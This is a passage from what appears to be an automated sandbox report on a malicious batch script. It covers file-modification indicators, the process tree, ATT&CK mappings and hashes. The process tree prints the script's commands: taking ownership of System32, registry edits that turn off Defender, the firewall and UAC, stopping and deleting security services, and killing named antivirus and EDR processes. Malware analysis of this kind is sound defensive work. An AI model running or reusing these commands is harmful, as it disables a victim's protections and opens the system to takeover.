C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~2\EX9412~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MID483~1.0_X\Assets\GE66B4~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI05FA~1.0_X\Assets\WELCOM~1.JSO cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI4E99~1.0_X\Assets\WINDOW~1\WI2F6E~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\HxCalendarLargeTile.scale-150.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI2F07~1.SCA\Assets\INSIDE~2.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI4DB5~1.0_X\Assets\Voices\en-GB\EN-GB_~1\common.lua cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIE997~1.0_X\Assets\GA1D92~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\Test\Modules\Example2.Diagnostics\1.0.1\Example2.Diagnostics.psd1 cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIF104~1.0_X\TIMEAP~1.WIN cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTAC~3.PNG cmd.exe File opened for modification C:\PROGRA~2\REFERE~1\MICROS~1\FRAMEW~1\v3.0\es\ReachFramework.resources.dll cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~4.0_X\Assets\AppPackageSmallTile.scale-100.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI33D2~1.0_X\Assets\Audio\SK07B9~1.M4A cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI0A7F~1.0_X\FLIGHT~1.JSO cmd.exe File opened for modification C:\PROGRA~1\REFERE~1\MICROS~1\FRAMEW~1\v3.5\System.Web.Extensions.dll cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIB44A~1.0_X\Assets\CalculatorAppList.targetsize-48.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\HxCalendarBadge.scale-200.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\RESOUR~1.PRI cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI4DB5~1.0_X\STORER~1.DLL cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIEACE~1.0_X\Assets\VOC8DD~1.PNG cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~3.0_X\Assets\AppTiles\CONTRA~2\WE7DA5~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI33D2~1.0_X\REACTA~1\assets\RNApp\app\uwp\images\RINGLE~1\RINGLE~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIB28C~1.0_X\Assets\AppList.targetsize-20_altform-unplated.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI6132~1.0_X\Assets\CONTRA~1\SMDE5F~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~1\HX1FAC~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\EM147E~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\TXP_TI~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIAA44~1.0_X\Assets\AppTiles\StoreBadgeLogo.scale-200.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\DELETE~1\MI7D2A~1.SCA\Assets\AL8F90~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MID5E5~1.0_X\Assets\CONTRA~1\WideTile.scale-150_contrast-black.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI6F49~1.0_X\Assets\Images\Stickers\THUMBN~1\STD40D~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI6132~1.0_X\Assets\AppList.targetsize-16.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIB44A~1.0_X\Assets\CalculatorAppList.contrast-white_targetsize-30.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~1\HXA-OU~4.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIBE99~1.0_X\Assets\GamesXboxHubAppList.targetsize-20_altform-unplated_contrast-high.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIBE99~1.0_X\MICROS~1.DLL cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~1.0_X\Assets\Store\APPICO~2.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI8AAC~1.0_X\SY48CA~1.DLL cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI92C9~1.0_X\MICROS~1.DLL cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI5078~1.0_X\MRT100~1.DLL cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\images\OneNoteSectionGroupMedTile.scale-100.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\MANIFE~1\BU400F~1.XML cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIA333~1.0_X\MICROS~1.MET\Autogen\JSBYTE~1 cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\LinkedInboxLargeTile.scale-100.png cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\CLICKT~1\OFFICE~2.EXE cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\ipsnor.xml cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI05FA~1.0_X\Assets\Fonts\CAMMDL~1.TTF cmd.exe - Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\WinSxS\MANIFE~1\AM0BDF~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\WO5FBD~1.102\f\EXPLOR~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\WO190D~1.906\WMI-AP~1.DLL cmd.exe File opened for modification C:\Windows\diagnostics\system\Power\de-DE\RS_Balanced.psd1 cmd.exe File opened for modification C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\23\common\toolwindow.css cmd.exe File opened for modification C:\Windows\WinSxS\AME873~1.746\r\MESSAG~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\AMB9CC~1.126\r\cmdial32.dll cmd.exe File opened for modification C:\Windows\WinSxS\MSIL_M~1.1_E\POWERS~1.ADM cmd.exe File opened for modification C:\Windows\WinSxS\WOD7EE~1.1_N\cabinet.dll cmd.exe File opened for modification C:\Windows\WinSxS\X86_MI~3.122\MOFINS~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\X8DAE8~1.1_N\pidgenx.dll cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM4E1F~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\WO2837~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\X8AD99~1.MAN cmd.exe File opened for modification C:\Windows\SystemResources\Windows-NFC-SEManagement\pris\Windows-NFC-SEManagement.it-IT.pri cmd.exe File opened for modification C:\Windows\WinSxS\AM2B90~1.264\f\WINDOW~3.DLL cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AMEAC6~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM2B02~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM47E6~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM00E4~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MSE116~1.1_E\MICROS~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\WO093E~1.264\r\WINDOW~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\AMC481~1.1_N\MOBILE~1.ADM cmd.exe File opened for modification C:\Windows\WinSxS\AMA9E3~1.1_E\SHUTDO~1.MUI cmd.exe File opened for modification C:\Windows\WinSxS\Backup\AM287A~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM3F29~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\MSFEC5~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\AM802E~1.173\oskpred.xml cmd.exe File opened for modification C:\Windows\WinSxS\WO584D~1.546\r\dsparse.dll cmd.exe File opened for modification C:\Windows\diagnostics\system\WINDOW~2\it-IT\CL_LocalizationData.psd1 cmd.exe File opened for modification C:\Windows\WinSxS\AM0E3D~1.120\f\WIDA97~1.WIN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM3C2B~2.MAN cmd.exe File opened for modification C:\Windows\WinSxS\AM5F90~1.126\r\MICROS~3.WIN cmd.exe File opened for modification C:\Windows\WinSxS\AM58DB~1.1_J\NCA~1.ADM cmd.exe File opened for modification C:\Windows\WinSxS\AME2F9~1.1_N\3.txt cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM1933~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AMDF70~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\WO9349~1.1_N\ICONCO~1.DLL cmd.exe File opened for modification C:\Windows\SystemApps\MICROS~1.MIC\fr-FR\assets\ERRORP~1\pdferrorrepurchasecontent.html cmd.exe File opened for modification C:\Windows\WinSxS\AM8964~1.844\SQF954~1.PNG cmd.exe File opened for modification C:\Windows\WinSxS\AM2DA3~1.1_N\MDMREG~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\AMCF21~1.1_N\MICROS~1.TAS cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM0D93~2.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AMEB73~2.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\WO708D~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\AMDEB6~1.746\RESETD~4.PNG cmd.exe File opened for modification C:\Windows\WinSxS\AM78B2~1.1_N\eventTracepointUnbound.png cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM8FAF~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\MSC2A7~1.MAN cmd.exe File opened for modification C:\Windows\Boot\EFI\el-GR\bootmgr.efi.mui cmd.exe File opened for modification C:\Windows\INF\.NET CLR Data\_DataPerfCounters.h cmd.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\RetailDemo\retailDemoLocal.js cmd.exe File opened for modification C:\Windows\WinSxS\AM038E~1.423\NAE226~1.PNG cmd.exe File opened for modification C:\Windows\WinSxS\AM2DFA~1.1_N\platid.mof cmd.exe File opened for modification C:\Windows\WinSxS\AM4A64~1.126\f\PR783A~1.XRM cmd.exe File opened for modification C:\Windows\WinSxS\AM3808~1.1_E\WINSRV~1.ADM cmd.exe File opened for modification C:\Windows\WinSxS\FileMaps\$$B648~1.CDF cmd.exe File opened for modification C:\Windows\INF\dwup-noregkeys.inf cmd.exe File opened for modification C:\Windows\WinSxS\AM606E~1.264\f\CONTEN~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\AMC339~1.264\f\PHONES~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM7E52~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AMA57D~2.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\MS0924~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\WOAA0A~2.MAN cmd.exe - Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1396 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Kills process with taskkill 13 IoCs
pid Process 5096 taskkill.exe 5064 taskkill.exe 644 taskkill.exe 5404 taskkill.exe 396 taskkill.exe 1940 taskkill.exe 5936 taskkill.exe 2356 taskkill.exe 3052 taskkill.exe 2380 taskkill.exe 5476 taskkill.exe 4036 taskkill.exe 6020 taskkill.exe - Runs net.exe
- Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 2524 takeown.exe Token: SeDebugPrivilege 5096 taskkill.exe Token: SeDebugPrivilege 5936 taskkill.exe Token: SeDebugPrivilege 2356 taskkill.exe Token: SeDebugPrivilege 5064 taskkill.exe Token: SeDebugPrivilege 644 taskkill.exe Token: SeDebugPrivilege 5404 taskkill.exe Token: SeDebugPrivilege 396 taskkill.exe Token: SeDebugPrivilege 3052 taskkill.exe Token: SeDebugPrivilege 2380 taskkill.exe Token: SeDebugPrivilege 5476 taskkill.exe Token: SeDebugPrivilege 4036 taskkill.exe Token: SeDebugPrivilege 1940 taskkill.exe Token: SeDebugPrivilege 6020 taskkill.exe - Suspicious use of WriteProcessMemory 35 IoCs
description pid Process procid_target PID 4800 wrote to memory of 2524 4800 cmd.exe 87 PID 4800 wrote to memory of 4220 4800 cmd.exe 98 PID 4800 wrote to memory of 1636 4800 cmd.exe 99 PID 4800 wrote to memory of 4336 4800 cmd.exe 100 PID 4800 wrote to memory of 1564 4800 cmd.exe 101 PID 4800 wrote to memory of 3676 4800 cmd.exe 102 PID 4800 wrote to memory of 1776 4800 cmd.exe 103 PID 4800 wrote to memory of 3480 4800 cmd.exe 104 PID 4800 wrote to memory of 5780 4800 cmd.exe 105 PID 4800 wrote to memory of 5492 4800 cmd.exe 106 PID 4800 wrote to memory of 4924 4800 cmd.exe 107 PID 4924 wrote to memory of 5092 4924 net.exe 108 PID 4800 wrote to memory of 4484 4800 cmd.exe 109 PID 4484 wrote to memory of 3800 4484 net.exe 110 PID 4800 wrote to memory of 3820 4800 cmd.exe 111 PID 3820 wrote to memory of 2804 3820 net.exe 112 PID 4800 wrote to memory of 2392 4800 cmd.exe 113 PID 2392 wrote to memory of 624 2392 net.exe 114 PID 4800 wrote to memory of 4600 4800 cmd.exe 115 PID 4600 wrote to memory of 5844 4600 net.exe 116 PID 4800 wrote to memory of 1396 4800 cmd.exe 118 PID 4800 wrote to memory of 5096 4800 cmd.exe 119 PID 4800 wrote to memory of 5936 4800 cmd.exe 120 PID 4800 wrote to memory of 2356 4800 cmd.exe 121 PID 4800 wrote to memory of 5064 4800 cmd.exe 122 PID 4800 wrote to memory of 644 4800 cmd.exe 123 PID 4800 wrote to memory of 5404 4800 cmd.exe 124 PID 4800 wrote to memory of 396 4800 cmd.exe 125 PID 4800 wrote to memory of 3052 4800 cmd.exe 126 PID 4800 wrote to memory of 2380 4800 cmd.exe 127 PID 4800 wrote to memory of 5476 4800 cmd.exe 128 PID 4800 wrote to memory of 4036 4800 cmd.exe 129 PID 4800 wrote to memory of 1940 4800 cmd.exe 130 PID 4800 wrote to memory of 6020 4800 cmd.exe 131 PID 4800 wrote to memory of 5836 4800 cmd.exe 132 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 5836 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\LOL.bat"1⤵
- Drops file in Drivers directory
- Manipulates Digital Signatures
- Boot or Logon Autostart Execution: Print Processors
- Drops desktop.ini file(s)
- Drops autorun.inf file
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32" /r /d y2⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2524
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32" /grant *S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464:F /t2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4220
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32" /grant administrators:F /t2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1636
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32" /grant system:F /t2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4336
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:1564
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:3676
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1776
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:3480
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f2⤵
- Modifies firewall policy service
PID:5780
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f2⤵
- UAC bypass
PID:5492
-
-
C:\Windows\system32\net.exenet stop windefend /y2⤵
- Suspicious use of WriteProcessMemory
PID:4924 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop windefend /y3⤵PID:5092
-
-
-
C:\Windows\system32\net.exenet stop wscsvc /y2⤵
- Suspicious use of WriteProcessMemory
PID:4484 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y3⤵PID:3800
-
-
-
C:\Windows\system32\net.exenet stop msmpsvc /y2⤵
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop msmpsvc /y3⤵PID:2804
-
-
-
C:\Windows\system32\net.exenet stop mpsdrv /y2⤵
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mpsdrv /y3⤵PID:624
-
-
-
C:\Windows\system32\net.exenet stop BFE /y2⤵
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BFE /y3⤵PID:5844
-
-
-
C:\Windows\system32\sc.exesc delete windefend2⤵
- Launches sc.exe
PID:1396
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im av*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5096
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im defender*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5936
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im msmpeng*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2356
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im sentinel*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5064
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im crowdstrike*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:644
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im cylance*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5404
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im sophos*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:396
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im avg*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3052
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im avast*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2380
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im kaspersky*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5476
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im norton*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4036
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im mcafee*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1940
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im bitdefender*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6020
-
-
C:\Windows\System32\attrib.exeattrib -r -s -h *.* /s /d2⤵
- Drops file in Drivers directory
- Manipulates Digital Signatures
- Boot or Logon Autostart Execution: Print Processors
- Indicator Removal: Clear Windows Event Logs
- Drops file in System32 directory
- Modifies termsrv.dll
- Views/modifies file attributes
PID:5836
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3076
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Print Processors
1Create or Modify System Process
4Windows Service
4Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Print Processors
1Create or Modify System Process
4Windows Service
4Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
5Disable or Modify System Firewall
1Disable or Modify Tools
3Indicator Removal
1Clear Windows Event Logs
1Modify Registry
4Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Windows\System32\AppXDeploymentClient.dll
- Size 994KB
- SHA256 ac2daa38ae619292fc93c78100bbccd199fe0325c1274a30acdb5071a9d39db5
- MD5 d0f32c8b6ae47f731c54847858c29584
- SHA1 c81829d593488eeb91bc99765b8133f90d296068
- SHA512 76bee78689580ea55b72fa3f4b8e2a2d60409556402325d05cfdc301daeb1631b2a6589a0e1d4d0ae8915616d68b19a3fdf1e0e9bd0e047e84eaeca79a4397ed
- SSDEEP 12288:rjkfGxjIdeP3NTZByDNxJZKk4wrs+isTsFDxLlA/pze5:rjMKPIrbKEr0i/pzQ
- TLSH T1C325391F6BE8059BD43A92BDC5A74205E7B1BC62232193CF0150927D8E77FD45E3AB22
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\AppxAllUserStore.dll
- Size 375KB
- SHA256 1e8c53a14d1f115813e29771cd59860b65957804d369059027f18be5d6790050
- MD5 9369c77d83b01abc94be751aa312affc
- SHA1 df9c90d4b50f24ca4e38bdb3998e2591715914cc
- SHA512 9bae7bde345bf0fce1ac57256ee102658e0e4aae8cbe7e1a5e909883e1b9dadc4c0a420454d5df13989408065ac3d6c950816964386f73548899db8e722526f3
- SSDEEP 6144:BAju9S9kLDkmSz77tPIejrwkvTfypZVJjMawktBN1tIIko+AHm40nNP0PLuL10nF:2ju9S9kLDkmSz77tPIejrwkvTfypZVJ3
- TLSH T14F845C29A7E405A8E1BB977CD9F74102EB71386A273147DF06A0C46D1F13BD4A93AB13
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\KernelBase.dll
- Size 2.8MB
- SHA256 79eadbc61d0762e6931ee5e49007898596ece6bc2a61c080ada7a2c70992d6e6
- MD5 957a7c72c0ad30d568e04fce3313082f
- SHA1 1919c89186b1e3b4da4aea812ea43f02eac28cd6
- SHA512 cbdf38944b7d7132e7c7448bc715e1e94b1a9a97a6108d90c44fd5637c19dbf39969ee69a170525a2c920b6cb67941f79e8ca818c3e4e2ffbbe3ea90fa0f7d7b
- SSDEEP 49152:k9DXAGO5xztYAHzBO9Y66PZKJcbcLW0Zb:EXqU
- TLSH T112D5073AE66509ADC42A923784230636E7F13D204320B2EF56B588ABCE5F7D1533D6D7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\OnDemandConnRouteHelper.dll
- Size 72KB
- SHA256 c897c345c3bcf3e96589a0feeea8b6d26cf33c091ac3ee2162dd27f8a79c3ff5
- MD5 1f009de6a013a282d07436241512c056
- SHA1 f0d37e1e76a199135e00c0a36b154b191a0950a9
- SHA512 57971d5df5bd9fad066378b280898e1f6e074805cc765448b99409550f97d74bf5bbd11e48e28e53f22be69cd9cd0ff58caa1e92f94fed7cbb4cd45c8f0c4d37
- SSDEEP 1536:NDDbTPHmlz7/C2hM35N4OLH9IkRkC8yMZFxj5:9DbD8/7MrKukCrafd
- TLSH T15473279EAB5820A9E07991BDC9D34A19E371F424131247EF4690837E1F23BD82F39F95
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\OneCoreUAPCommonProxyStub.dll
- Size 7.6MB
- SHA256 503ef212dbb78c886aacd2ea956004bf213061761d0174e3711a626f9d774471
- MD5 5af757db7d611890257f5066af309e9d
- SHA1 d0d1371afd887a1646131c70964fb2d735904519
- SHA512 13f3430bb5d331f879cbaeea3e2ebe67bdec53dafe35596c828063e98d137786149bcd09c16f4911b430ad7ce697ae2c40fdcf2f9e6cc9bede52adc1ce82bde0
- SSDEEP 24576:MD2TCgf+5Iajhq4Qh5oHTPHNQ0fzgc3aDeyTw2/jbgPMSJ+7:FGrQh52PH20fsc3jYg0SI
- TLSH T194864D8BA583A927C439D27A89AF4624E3775D0092D3834A00F47535DE7B3C1FF666E8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\PhotoMetadataHandler.dll
- Size 490KB
- SHA256 00cb8c63bd4c7cd74011844c1c17ed2a9f22be2a1057a9b10c1fcccdd3a0c31c
- MD5 99c3615f2d464c1f3e51fd6dd5232681
- SHA1 6d0ac632b98012d510a4e5885b52f7ff0f73e09c
- SHA512 f410e914321911e4441c38f8c99515222f0dd1ab4e3ed5cfb5dcf786e60d5460ba3b5a7886ea6d65cd7a4fb26d93211f0995f9a2f6104bda9c80498fc64cdfde
- SSDEEP 6144:jwJpIcbaWBiDsM1cQP9+W3AUOK0TfpLm57FCCJymq/yrkMuldqY:w+ZCRgAUO3
- TLSH T188B4D61937E84B56D5B6913885E78704B772F810AB0383CF11E1A23E4EB77E05E37A69
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\SHCore.dll
- Size 686KB
- SHA256 79e0e627e4e8b0a34375db8c71592977538e9743cc67adf88c615157a0e86b00
- MD5 ab4b87457d2b08b7c51b136c05bfed27
- SHA1 3fab36a2f84c75232115d3f253c1a9e7f087e7b5
- SHA512 37e8d142ecb1112b25e54cdd10a56b972a435397f2c6dfbb209331181eab68db997a3d2a781581d4b59a66d87ccd22e02300a4112a6223f29fe72e860cd2c4aa
- SSDEEP 12288:BoMfjHRnqfLDRHJDCtIkHuxD3rF66PmGdLE:B7JqfLDRHJDQ1HuV7F66PmGxE
- TLSH T10CE4291E66FD449AD1BA913DC5234619E7B27C201352E6CF1250837E9F3BFE86639B20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\UserMgrProxy.dll
- Size 316KB
- SHA256 aafd24438e429a757d37b38635487c623ce69fd5f05471334b519cba9dab6328
- MD5 43e55e4a88d4dfcad1131c9f55d9ebf4
- SHA1 3b3d4b8e4df75365c9924c203732159f5f138263
- SHA512 e3113c80a3508f66a91399232ed7fc6dde486d01b7d2070a7c90bf0fb05ab6a42e6c3f93e587ca41258b43c2143336b94164e8d2a4aa6623cfdd24e8d43a7a86
- SSDEEP 6144:Iq5vcb+EmHtTwfkfWwYjfkvMkSMyETXe70g:Iq5vcb+ECCgWwPfTO7
- TLSH T1E564A34AA69800A6D979D13DC4578E09E3F7FC2047A2C3CB1164922DEE7BBD49F34B91
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\Windows.StateRepositoryPS.dll
- Size 1.3MB
- SHA256 e9398b502a861f8a0f90a0137c0be69b0463c039760658671e2486e83a4f2170
- MD5 46f7d006a210c75f3ea8b9e209452e95
- SHA1 4b52e2ce0de66f4d98ccd7e0b0afbdd828485217
- SHA512 64f2c04fb616f496a5064e225bf155434130a465e4ebc263a8c91608357075bf8f01144cf532ac8fed89c5137ffec34148f5ddfa4d68ec0c687aeef3be500792
- SSDEEP 6144:kzdjYNL2Z+Fc6wqEbPR+ocbcNc9cNLcZcccfcOVcJOcKc2JclcJvcJEc1csc9cnf:rIcq2g97q
- TLSH T1CB55CD86B50A44BEC62C91F2506B0E24E369DE1152E2438A54B4732E9F7F7C1DF36BD8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\Windows.Web.dll
- Size 756KB
- SHA256 c5dbbfa0ff7d1c08ec9698e3e2d59634168c497dbda63a3734fb68973b999ac8
- MD5 0e96fbf3f55bb988eda407e868c17ed3
- SHA1 cd9ecc3a8b2984eb543cd1f7e10c9578b61619f4
